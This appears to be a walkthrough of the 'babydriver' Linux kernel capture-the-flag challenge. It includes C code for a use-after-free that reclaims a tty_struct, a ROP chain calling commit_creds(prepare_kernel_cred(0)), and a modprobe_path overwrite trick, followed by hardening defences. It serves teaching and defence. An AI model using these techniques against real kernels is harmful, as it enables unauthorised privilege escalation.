Linux Kernel babydriver Walkthrough

Linux Kernel babydriver Walkthrough

TL;DR: The CTF “babydriver” pattern teaches kernel pwn end-to-end: a UAF in release lets you reclaim the freed object as a tty_struct, hijack ops->ioctl, and pivot to commit_creds(prepare_kernel_cred(0)) or a modprobe_path overwrite for root.

What it is

“babydriver” originated at 0CTF 2017 and is now the canonical introductory Linux kernel-pwn challenge. A character device exposes open, release, ioctl, and read/write over a globally cached pointer that is freed on release without nulling — a textbook use-after-free. The exploit reallocates the freed slab object as a tty_struct (size 0x2e0 on many kernels), corrupts tty_struct->ops, and lands a function pointer call with controlled RIP.

Preconditions / where it applies

  • Kernel with SLAB/SLUB allocator and no SLAB hardening (no CONFIG_SLAB_FREELIST_HARDENED on older kernels)
  • tty_struct reachable via /dev/ptmx — common on default builds
  • SMEP usually on, SMAP and KPTI may or may not be on (drives whether you need a full ROP)
  • KASLR defeated via an info leak ioctl or by reading /proc/kallsyms for warmup builds

Technique

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 1. Open device twice, free via release on fd2, keep fd1 dangling
int a = open("/dev/babydev", O_RDWR);
int b = open("/dev/babydev", O_RDWR);
ioctl(a, 0x10001, 0x2e0);        // size matches tty_struct
close(b);                         // frees the cached object

// 2. Reclaim slab with tty_struct
int t = open("/dev/ptmx", O_RDWR);

// 3. Leak tty_operations via read(a, ...), compute KASLR slide
// 4. Forge fake ops table with .ioctl = stack_pivot_gadget
write(a, forged_tty, 0x2e0);

// 5. Trigger ioctl on tty fd -> ROP chain runs in kernel context
ioctl(t, 0xdeadbeef, 0);
1
2
3
4
5
6
ROP chain (SMEP on, SMAP off):
  pop rdi ; ret           ; 0
  prepare_kernel_cred
  mov rdi, rax ; ret
  commit_creds
  swapgs_restore_regs_and_return_to_usermode

Alternative escalation: overwrite modprobe_path to /tmp/x, then trigger module autoload by execve on an unknown binary header — userspace gets root without touching cred.

Detection and defence

  • CONFIG_SLAB_FREELIST_HARDENED, CONFIG_SLAB_FREELIST_RANDOM break naive reclaim
  • KASLR + KPTI raise the bar; CONFIG_STATIC_USERMODEHELPER removes the modprobe_path trick
  • lockdown=confidentiality blocks many kernel info leaks
  • auditd rules on /dev/babydev-style custom char devices in production

References

See also: heap-exploitation-linux, rop-chains, linux-kernel-architecture.